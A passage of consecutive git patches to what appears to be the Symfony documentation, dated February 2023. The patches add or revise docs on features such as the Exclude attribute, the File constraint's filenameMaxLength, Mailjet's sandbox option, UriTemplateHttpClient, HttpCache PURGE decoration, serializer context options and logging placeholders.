+            debug.container.dump: false
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <parameters>
+                <!-- ... -->
+                <parameter key="debug.container.dump">false</parameter>
+            </parameters>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+
+        // ...
+        $container->parameters()->set('debug.container.dump', false);
+
 .. _profiling-applications:
 
 Profiling Symfony Applications

From ea945b039a299931564ba3eee519395278872a97 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 23 Feb 2023 11:05:18 +0100
Subject: [PATCH 4319/7107] [DependencyInjection] Add `#[Exclude]` attribute

---
 service_container.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index 887c2b46bf2..f3279da1cd3 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1074,7 +1074,14 @@ key. For example, the default Symfony configuration contains this:
 .. tip::
 
     The value of the ``resource`` and ``exclude`` options can be any valid
-    `glob pattern`_.
+    `glob pattern`_. If you want to exclude only a few services, you
+    may use the :class:`Symfony\\Component\\Dependency\Injection\\Attribute\\Exclude`
+    attribute directly on your class to exclude it.
+
+    .. versionadded:: 6.3
+
+        The :class:`Symfony\\Component\\Dependency\Injection\\Attribute\\Exclude`
+        attribute was introduced in Symfony 6.3.
 
 This can be used to quickly make many classes available as services and apply some
 default configuration. The ``id`` of each service is its fully-qualified class name.

From 1a1fb8fbf23650e817695d9130ce0e20a0a2ac98 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 22 Feb 2023 18:22:30 +0100
Subject: [PATCH 4320/7107] [Validator] Add the option `filenameMaxLength` to
 the File constraint

---
 reference/constraints/File.rst | 32 ++++++++++++++++++++++++++++++++
 1 file changed, 32 insertions(+)

diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index f407942a53d..c6038cde7d7 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -268,6 +268,38 @@ You can find a list of existing mime types on the `IANA website`_.
     (i.e. the form type is not defined explicitly in the ``->add()`` method of
     the form builder) and when the field doesn't define its own ``accept`` value.
 
+``filenameMaxLength``
+~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``integer`` **default**: ``null``
+
+.. versionadded:: 6.3
+
+    The ``filenameMaxLength`` was introduced in Symfony 6.3.
+
+If set, the validator will check that the filename of the underlying file
+doesn't exceed a certain length.
+
+``filenameTooLongMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``The filename is too long. It should have {{ filename_max_length }} character or less.|The filename is too long. It should have {{ filename_max_length }} characters or less.``
+
+.. versionadded:: 6.3
+
+    The ``filenameTooLongMessage`` was introduced in Symfony 6.3.
+
+The message displayed if the filename of the file exceeds the limit set
+with the ``filenameMaxLength`` option.
+
+You can use the following parameters in this message:
+
+==============================  ==============================================================
+Parameter                       Description
+==============================  ==============================================================
+``{{ filename_max_length }}``   Maximum number of characters allowed
+==============================  ==============================================================
+
 ``extensionsMessage``
 ~~~~~~~~~~~~~~~~~~~~~
 

From fc1ba2994d68dabb5e5fc30e1c9657f3d093e908 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Wed, 22 Feb 2023 21:15:30 +0100
Subject: [PATCH 4321/7107] [Mailer] Adding the `sandbox` option in Mailjet API

---
 mailer.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index ae549c7dcea..97ae19b127e 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -171,7 +171,7 @@ Amazon SES           ses+smtp://USERNAME:PASSWORD@default                 ses+ht
 Google Gmail         gmail+smtp://USERNAME:APP-PASSWORD@default           n/a                                         n/a
 Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
 Mailgun              mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
-Mailjet              mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
+Mailjet              mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default?sandbox=false
 MailPace             mailpace+api://API_TOKEN@default                     n/a                                         mailpace+api://API_TOKEN@default
 Postmark             postmark+smtp://ID@default                           n/a                                         postmark+api://KEY@default
 Sendgrid             sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
@@ -179,6 +179,10 @@ Sendinblue           sendinblue+smtp://USERNAME:PASSWORD@default          n/a
 Infobip              infobip+smtp://KEY@default                           n/a                                         infobip+api://KEY@BASE_URL
 ==================== ==================================================== =========================================== ========================================
 
+.. versionadded:: 6.3
+
+    The ``sandbox`` option in ``Mailjet`` API was introduced in Symfony 6.3.
+
 .. caution::
 
     If your credentials contain special characters, you must URL-encode them.

From 083dbe85126ffd50138a1aec0a3a22d55a705c53 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Feb 2023 18:01:38 +0100
Subject: [PATCH 4322/7107] Tweaks

---
 performance.rst | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/performance.rst b/performance.rst
index 297a1bdec47..7e3499a5732 100644
--- a/performance.rst
+++ b/performance.rst
@@ -220,13 +220,14 @@ deployment process too):
 Disable Dumping the Container as XML in Debug Mode
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-In debug mode, Symfony compiles the :doc:`service container </service_container>`
-into an XML file. This XML file is used by various commands such as
-``debug:container`` and ``debug:autowiring``. When the container grows larger and larger,
-so does the size of the file and the time to generate it. Sometimes the benefit of this
-file does not outweigh the decrease in performance.
+In :ref:`debug mode <debug-mode>`, Symfony generates an XML file with all the
+:doc:`service container </service_container>` information (services, arguments, etc.)
+This XML file is used by various debugging commands such as ``debug:container``
+and ``debug:autowiring``.
 
-In these situations, you can disable dumping of the XML file by setting `debug.container.dump` to `false`:
+When the container grows larger and larger, so does the size of the file and the
+time to generate it. If the benefit of this XML file does not outweigh the decrease
+in performance, you can stop generating the file as follows:
 
 .. configuration-block::
 
@@ -258,6 +259,10 @@ In these situations, you can disable dumping of the XML file by setting `debug.c
         // ...
         $container->parameters()->set('debug.container.dump', false);
 
+.. versionadded:: 6.3
+
+    The ``debug.container.dump`` option was introduced in Symfony 6.3.
+
 .. _profiling-applications:
 
 Profiling Symfony Applications

From 2f96fa377a351d29aaa6932acd59522ff7387ddf Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 24 Feb 2023 09:52:32 +0100
Subject: [PATCH 4323/7107] Remove obsolete versionadded directive

---
 service_container/tags.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index ba16f49734c..044f3ee3842 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -214,11 +214,6 @@ method::
         }
     }
 
-.. versionadded:: 5.3
-
-    The :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`
-    method was introduced in Symfony 5.3.
-
 Creating custom Tags
 --------------------
 

From 3528249ced7055104b5c4e2b8f4e6e8bf004eead Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Fri, 24 Feb 2023 19:39:15 +0100
Subject: [PATCH 4324/7107] [PhpUnitBridge] Add an example for
 SYMFONY_PHPUNIT_REQUIRE

---
 components/phpunit_bridge.rst | 21 +++++++++++++++------
 1 file changed, 15 insertions(+), 6 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 62dc3d3cb20..fb583bc31ce 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -938,18 +938,27 @@ If you have installed the bridge through Composer, you can run it by calling e.g
     then set the ``SYMFONY_PHPUNIT_REMOVE`` env var to ``symfony/yaml``.
 
     It's also possible to set this env var in the ``phpunit.xml.dist`` file.
-    
+
 .. tip::
 
     It is also possible to require additional packages that will be installed along
-    the rest of the needed PHPUnit packages using the ``SYMFONY_PHPUNIT_REQUIRE``
+    with the rest of the needed PHPUnit packages using the ``SYMFONY_PHPUNIT_REQUIRE``
     env variable. This is specially useful for installing PHPUnit plugins without
-    having to add them to your main ``composer.json`` file.
+    having to add them to your main ``composer.json`` file. The required packages
+    need to be separated with a space.
 
-.. versionadded:: 5.3
+    .. code-block:: xml
+
+        <!-- phpunit.xml.dist -->
+        <!-- ... -->
+        <php>
+            <env name="SYMFONY_PHPUNIT_REQUIRE" value="vendor/name:^1.2 vendor/name2:^3"/>
+        </php>
+
+    .. versionadded:: 5.3
 
-    The ``SYMFONY_PHPUNIT_REQUIRE`` env variable was introduced in
-    Symfony 5.3.
+        The ``SYMFONY_PHPUNIT_REQUIRE`` env variable was introduced in
+        Symfony 5.3.
 
 Code Coverage Listener
 ----------------------

From 3ebc24892fc2070ec55a824d0c6260fbf6a108b1 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 24 Feb 2023 17:20:31 +0100
Subject: [PATCH 4325/7107] [HttpClient] Add `UriTemplateHttpClient`

---
 http_client.rst | 79 +++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 79 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index e848e10cd21..98ea6612e86 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -155,6 +155,7 @@ Some options are described in this guide:
 * `Redirects`_
 * `Retry Failed Requests`_
 * `HTTP Proxies`_
+* `Using URI Templates`_
 
 Check out the full :ref:`http_client config reference <reference-http-client>`
 to learn about all the options.
@@ -822,6 +823,83 @@ in your requests::
 
 This setting won’t affect other clients.
 
+Using URI Templates
+~~~~~~~~~~~~~~~~~~~
+
+The :class:`Symfony\\Component\\HttpClient\\UriTemplateHttpClient` provides
+a client that eases the use of URI templates, as described in the `RFC 6570`_.
+Here is an example of how to use this client with URI templates::
+
+    $client = new UriTemplateHttpClient();
+
+    // This request will result on querying http://example.org/users?page=1
+    $client->request('GET', 'http://example.org/{resource}{?page}', [
+        'vars' => [
+            'resource' => 'users',
+            'page' => 1,
+        ],
+    ]);
+
+When using this client in the framework context, all existing HTTP clients
+are decorated by the :class:`Symfony\\Component\\HttpClient\\UriTemplateHttpClient`.
+This means that URI template feature is enabled by default for all HTTP clients
+you may use in your application.
+
+You can configure variables that will be replaced globally in all URI templates
+of your application:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            http_client:
+                default_options:
+                    vars:
+                        - secret: 'secret-token'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:http-client>
+                    <framework:default-options>
+                        <framework:vars name="secret">secret-token</framework:vars>
+                    </framework:default-options>
+                </framework:http-client>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()
+                ->defaultOptions()
+                    ->vars(['secret' => 'secret-token'])
+            ;
+        };
+
+If you want to define your own logic to handle variables of URI templates, you
+can do so by redefining the ``http_client.uri_template_expander`` alias. Your
+service must be invokable.
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\HttpClient\\UriTemplateHttpClient` was
+    introduced in Symfony 6.3.
+
 Performance
 -----------
 
@@ -2055,3 +2133,4 @@ you to do so, by yielding the exception from its body::
 .. _`EventSource`: https://www.w3.org/TR/eventsource/#eventsource
 .. _`idempotent method`: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods
 .. _`SSRF`: https://portswigger.net/web-security/ssrf
+.. _`RFC 6570`: https://www.rfc-editor.org/rfc/rfc6570

From 7ae2f9409fcd17bd4f5b425551772c299959c94a Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sun, 26 Feb 2023 03:19:25 +0100
Subject: [PATCH 4326/7107] [HttpCache] Inject $env in example

---
 http_cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache.rst b/http_cache.rst
index 949e95acf4e..3a2d6c1b427 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -114,7 +114,7 @@ Use the ``framework.http_cache`` option to enable the proxy for the
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) use ($env) {
+        return static function (FrameworkConfig $framework, string $env) {
             if ('prod' === $env) {
                 $framework->httpCache()->enabled(true);
             }

From e41d827047bb9f2d8900f0af3431c1b3969c4fb3 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 26 Feb 2023 12:36:40 +0100
Subject: [PATCH 4327/7107] [EventDispatcher] Add example of
 ``#[AsEventListener]`` on methods

---
 event_dispatcher.rst | 34 ++++++++++++++++++++++++++++++++++
 1 file changed, 34 insertions(+)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 97d70af9598..51c51fa9102 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -191,6 +191,40 @@ You can add multiple ``#[AsEventListener()]`` attributes to configure different
         }
     }
 
+:class:`Symfony\\Component\\EventDispatcher\\Attribute\\AsEventListener`
+can also be applied to methods directly::
+
+    namespace App\EventListener;
+
+    use Symfony\Component\EventDispatcher\Attribute\AsEventListener;
+
+    final class MyMultiListener
+    {
+        #[AsEventListener()]
+        public function onCustomEvent(CustomEvent $event): void
+        {
+            // ...
+        }
+
+        #[AsEventListener(event: 'foo', priority: 42)]
+        public function onFoo(): void
+        {
+            // ...
+        }
+
+        #[AsEventListener(event: 'bar')]
+        public function onBarEvent(): void
+        {
+            // ...
+        }
+    }
+
+.. note::
+
+    You can notice that the attribute doesn't require its ``event``
+    parameter to be set if the method already type-hints the
+    expected event.
+
 .. _events-subscriber:
 
 Creating an Event Subscriber

From 34809dde62fbf08baa68646f9664d10713fc7a8e Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sun, 26 Feb 2023 17:31:21 +0100
Subject: [PATCH 4328/7107] [HttpCache] Explain how to extend the HttpCache
 class

---
 http_cache/cache_invalidation.rst | 57 +++++++++++++++++++++++++++++--
 1 file changed, 55 insertions(+), 2 deletions(-)

diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index 6a11a1fdc78..c6df4fd85c0 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -47,8 +47,9 @@ the word "PURGE" is a convention, technically this can be any string) instead
 of ``GET`` and make the cache proxy detect this and remove the data from the
 cache instead of going to the application to get a response.
 
-Here is how you can configure the Symfony reverse proxy (See :doc:`/http_cache`)
-to support the ``PURGE`` HTTP method::
+Here is how you can configure the :ref:`Symfony reverse proxy <symfony-gateway-cache>`
+to support the ``PURGE`` HTTP method. First create a caching kernel that overrides the
+:method:`Symfony\\Component\\HttpKernel\\HttpCache\\HttpCache::invalidate` method::
 
     // src/CacheKernel.php
     namespace App;
@@ -84,6 +85,58 @@ to support the ``PURGE`` HTTP method::
         }
     }
 
+Then, register the class as a service that :doc:`decorates </service_container/service_decoration>`
+``http_cache``::
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            App\CacheKernel:
+                decorates: http_cache
+                arguments:
+                    - '@kernel'
+                    - '@http_cache.store'
+                    - '@?esi'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd"
+        >
+            <service id="App\CacheKernel" decorates="http_cache">
+                <argument type="service" id="kernel"/>
+                <argument type="service" id="http_cache.store"/>
+                <argument type="service" id="esi" on-invalid="null"/>
+            </service>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\CacheKernel;
+
+        return function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
+
+            $services->set(CacheKernel::class)
+                ->decorate('http_cache')
+                ->args([
+                    service('kernel'),
+                    service('http_cache.store'),
+                    service('esi')->nullOnInvalid(),
+                ])
+            ;
+        };
+
 .. caution::
 
     You must protect the ``PURGE`` HTTP method somehow to avoid random people

From 88c1924bd56cbcee5309611debe904b01a8bf4c3 Mon Sep 17 00:00:00 2001
From: Daniel Rotter <daniel.rotter@gmail.com>
Date: Sun, 26 Feb 2023 20:49:25 +0100
Subject: [PATCH 4329/7107] Fix the referencing of the redis transport in an
 explanation

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 49c4768ab0e..d6f4c791112 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -709,7 +709,7 @@ and ``user`` to the Unix user on your server.
 If you use the Redis Transport, note that each worker needs a unique consumer
 name to avoid the same message being handled by multiple workers. One way to
 achieve this is to set an environment variable in the Supervisor configuration
-file, which you can then refer to in ``messenger.yaml`` (see Redis section above):
+file, which you can then refer to in ``messenger.yaml`` (see Redis section below):
 
 .. code-block:: ini
 

From 2cbf0a42745dd126e01185a30738eae9938d5800 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Feb 2023 12:33:53 +0100
Subject: [PATCH 4330/7107] Tweak

---
 http_client.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 98ea6612e86..d4781429d17 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -827,12 +827,11 @@ Using URI Templates
 ~~~~~~~~~~~~~~~~~~~
 
 The :class:`Symfony\\Component\\HttpClient\\UriTemplateHttpClient` provides
-a client that eases the use of URI templates, as described in the `RFC 6570`_.
-Here is an example of how to use this client with URI templates::
+a client that eases the use of URI templates, as described in the `RFC 6570`_::
 
     $client = new UriTemplateHttpClient();
 
-    // This request will result on querying http://example.org/users?page=1
+    // this will make a request to the URL http://example.org/users?page=1
     $client->request('GET', 'http://example.org/{resource}{?page}', [
         'vars' => [
             'resource' => 'users',

From 33bd2d64958c5034240d0c589321ce6e803ee21e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Feb 2023 13:06:39 +0100
Subject: [PATCH 4331/7107] Reorder versionadded directives

---
 mailer.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 4b393aad5d2..32f74099c91 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -114,16 +114,16 @@ Infobip             ``composer require symfony/infobip-mailer``
 MailerSend          ``composer require symfony/mailersend-mailer``
 ==================  ==============================================
 
-.. versionadded:: 6.3
-
-    The MailerSend integration was introduced in Symfony 6.3.
-
 .. versionadded:: 6.2
 
     The Infobip integration was introduced in Symfony 6.2 and the ``MailPace``
     integration was renamed in Symfony 6.2 (in previous Symfony versions it was
     called ``OhMySMTP``).
 
+.. versionadded:: 6.3
+
+    The MailerSend integration was introduced in Symfony 6.3.
+
 .. note::
 
     As a convenience, Symfony also provides support for Gmail (``composer

From 122c3df7b45a11e14b826066660b8209ab0160b2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Feb 2023 13:08:09 +0100
Subject: [PATCH 4332/7107] [Mailer] Sort providers alphabetically

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 7ed34fb375b..be0414c3f56 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -115,10 +115,10 @@ Amazon SES          ``composer require symfony/amazon-mailer``
 MailChimp           ``composer require symfony/mailchimp-mailer``
 Mailgun             ``composer require symfony/mailgun-mailer``
 Mailjet             ``composer require symfony/mailjet-mailer``
+OhMySMTP            ``composer require symfony/oh-my-smtp-mailer``
 Postmark            ``composer require symfony/postmark-mailer``
 SendGrid            ``composer require symfony/sendgrid-mailer``
 Sendinblue          ``composer require symfony/sendinblue-mailer``
-OhMySMTP            ``composer require symfony/oh-my-smtp-mailer``
 ==================  ==============================================
 
 .. note::

From 1b0e274848be1ca7830b1b491d20557a535fbdff Mon Sep 17 00:00:00 2001
From: Christian Kolb <info@digital-craftsman.de>
Date: Tue, 28 Feb 2023 08:46:51 +0100
Subject: [PATCH 4333/7107] Add feature description

---
 components/serializer.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index aecf25fea4f..f707b558590 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1242,6 +1242,30 @@ to ``true``::
     $result = $normalizer->normalize($dummy, 'json', [AbstractObjectNormalizer::SKIP_NULL_VALUES => true]);
     // ['bar' => 'notNull']
 
+Preventing ``null`` value fallback for nullable properties
+----------------------------------------------------------
+
+By default, the Serializer will add `null` to nullable properties when the parameters for those are not provided.
+You can change this behavior by setting the ``AbstractNormalizer::PREVENT_NULLABLE_FALLBACK`` context option
+to ``true``::
+
+    class Dummy {
+        public function __construct(
+            public string $foo,
+            public ?string $bar,
+        )
+    }
+
+    $data = ['foo' => 'notNull'];
+
+    $normalizer = new ObjectNormalizer();
+    $result = $normalizer->denormalize($data, Dummy::class, 'json', [AbstractNormalizer::PREVENT_NULLABLE_FALLBACK => true]);
+    // throws Symfony\Component\Serializer\Exception\MissingConstructorArgumentException
+
+.. versionadded:: 6.3
+
+    The context flag was introduced in Symfony 6.3.
+
 Skipping Uninitialized Properties
 ---------------------------------
 

From 0b49d9beb10535711d4af54e57a23842a039b537 Mon Sep 17 00:00:00 2001
From: Christian Kolb <info@digital-craftsman.de>
Date: Tue, 28 Feb 2023 08:51:53 +0100
Subject: [PATCH 4334/7107] Fix broken code example

---
 components/serializer.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index f707b558590..abd324a133a 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1253,7 +1253,8 @@ to ``true``::
         public function __construct(
             public string $foo,
             public ?string $bar,
-        )
+        ) {
+        }
     }
 
     $data = ['foo' => 'notNull'];

From fcc67c9098c3531e5f095bf9f7faf9def4f0d4b9 Mon Sep 17 00:00:00 2001
From: Alan Poulain <contact@alanpoulain.eu>
Date: Mon, 27 Feb 2023 16:21:09 +0100
Subject: [PATCH 4335/7107] docs(logging): add placeholders for dynamic data

---
 logging.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/logging.rst b/logging.rst
index f25486c520d..4bbaf03dfb1 100644
--- a/logging.rst
+++ b/logging.rst
@@ -32,6 +32,15 @@ To log a message, inject the default logger in your controller or service::
         $logger->info('I just got the logger');
         $logger->error('An error occurred');
 
+        // log messages can also contain placeholders (wrap the placeholder name with braces)
+        // these placeholders are useful for logging tools, which can aggregate log messages
+        // that are the same except for some variable values inside them, for translation
+        // systems in order to create localized messages, and for security because escaping
+        // can then be done by the implementation in a context-aware fashion
+        $logger->debug('User {userId} has logged in', [
+            'userId' => $this->getUserId(),
+        ]);
+
         $logger->critical('I left the oven on!', [
             // include extra "context" info in your logs
             'cause' => 'in_hurry',

From b7c362bc6a71986401e945e03e1b1d5f92c43042 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 28 Feb 2023 09:39:57 +0100
Subject: [PATCH 4336/7107] use more precise link httpkernel

---
 components/http_kernel.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 3cc8059f5e6..21207bf1b1c 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -131,10 +131,10 @@ listeners to the events discussed below::
     // trigger the kernel.terminate event
     $kernel->terminate($request, $response);
 
-See ":ref:`http-kernel-working-example`" for a more concrete implementation.
+See ":ref:`A full working example <http-kernel-working-example>`" for a more concrete implementation.
 
 For general information on adding listeners to the events below, see
-:ref:`http-kernel-creating-listener`.
+:ref:`Creating an Event Listener <http-kernel-creating-listener>`.
 
 .. seealso::
 
@@ -229,7 +229,7 @@ This implementation is explained more in the sidebar below::
 
     interface ControllerResolverInterface
     {
-        public function getController(Request $request);
+        public function getController(Request $request): callable|false;
     }
 
 Internally, the ``HttpKernel::handle()`` method first calls

From b665eeb361d9becc7c6949f8c7250cbe6149d45d Mon Sep 17 00:00:00 2001
From: Christian Kolb <info@liplex.de>
Date: Tue, 28 Feb 2023 09:40:39 +0100
Subject: [PATCH 4337/7107] Update components/serializer.rst

Co-authored-by: Oskar Stark <oskarstark@googlemail.com>
---
 components/serializer.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index abd324a133a..bca997b235d 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1265,7 +1265,8 @@ to ``true``::
 
 .. versionadded:: 6.3
 
-    The context flag was introduced in Symfony 6.3.
+    The ``AbstractNormalizer::PREVENT_NULLABLE_FALLBACK`` context option
+    was introduced in Symfony 6.3.
 
 Skipping Uninitialized Properties
 ---------------------------------

From e1f5d7c0c465be18f7766f7c24a065c10b6d2c03 Mon Sep 17 00:00:00 2001
From: Christian Kolb <info@liplex.de>
Date: Tue, 28 Feb 2023 09:41:01 +0100
Subject: [PATCH 4338/7107] Update components/serializer.rst

Co-authored-by: Oskar Stark <oskarstark@googlemail.com>
---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index bca997b235d..1befe4b5c7a 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1245,7 +1245,7 @@ to ``true``::
 Preventing ``null`` value fallback for nullable properties
 ----------------------------------------------------------
 
-By default, the Serializer will add `null` to nullable properties when the parameters for those are not provided.
+By default, the Serializer will add ``null`` to nullable properties when the parameters for those are not provided.
 You can change this behavior by setting the ``AbstractNormalizer::PREVENT_NULLABLE_FALLBACK`` context option
 to ``true``::
 

From 3b24418e4e3b3a02a513a5a1f1a39d7fc6de7ba6 Mon Sep 17 00:00:00 2001
From: Christian Kolb <info@liplex.de>
Date: Tue, 28 Feb 2023 09:41:09 +0100
Subject: [PATCH 4339/7107] Update components/serializer.rst

Co-authored-by: Oskar Stark <oskarstark@googlemail.com>
---
 components/serializer.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 1befe4b5c7a..e9f60fdbcbc 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1249,7 +1249,8 @@ By default, the Serializer will add ``null`` to nullable properties when the par
 You can change this behavior by setting the ``AbstractNormalizer::PREVENT_NULLABLE_FALLBACK`` context option
 to ``true``::
 
-    class Dummy {
+    class Dummy
+    {
         public function __construct(
             public string $foo,
             public ?string $bar,

From 1c33f40cca194308d879ad8e7262304b3b5196a6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 28 Feb 2023 14:49:23 +0100
Subject: [PATCH 4340/7107] Reword

---
 logging.rst | 15 ++++++++++-----
 1 file changed, 10 insertions(+), 5 deletions(-)

diff --git a/logging.rst b/logging.rst
index 4bbaf03dfb1..dfc184c15d7 100644
--- a/logging.rst
+++ b/logging.rst
@@ -32,11 +32,8 @@ To log a message, inject the default logger in your controller or service::
         $logger->info('I just got the logger');
         $logger->error('An error occurred');
 
-        // log messages can also contain placeholders (wrap the placeholder name with braces)
-        // these placeholders are useful for logging tools, which can aggregate log messages
-        // that are the same except for some variable values inside them, for translation
-        // systems in order to create localized messages, and for security because escaping
-        // can then be done by the implementation in a context-aware fashion
+        // log messages can also contain placeholders, which are variable names
+        // wrapped in braces whose values are passed as the second argument
         $logger->debug('User {userId} has logged in', [
             'userId' => $this->getUserId(),
         ]);
@@ -49,6 +46,14 @@ To log a message, inject the default logger in your controller or service::
         // ...
     }
 
+Adding placeholders to log messages is recommended because:
+
+* It's easier to check log messages because many logging tools group log messages
+  that are the same except for some variable values inside them;
+* It's much easier to translate those log messages;
+* It's better for security, because escaping can then be done by the
+  implementation in a context-aware fashion.
+
 The ``logger`` service has different methods for different logging levels/priorities.
 See `LoggerInterface`_ for a list of all of the methods on the logger.
 

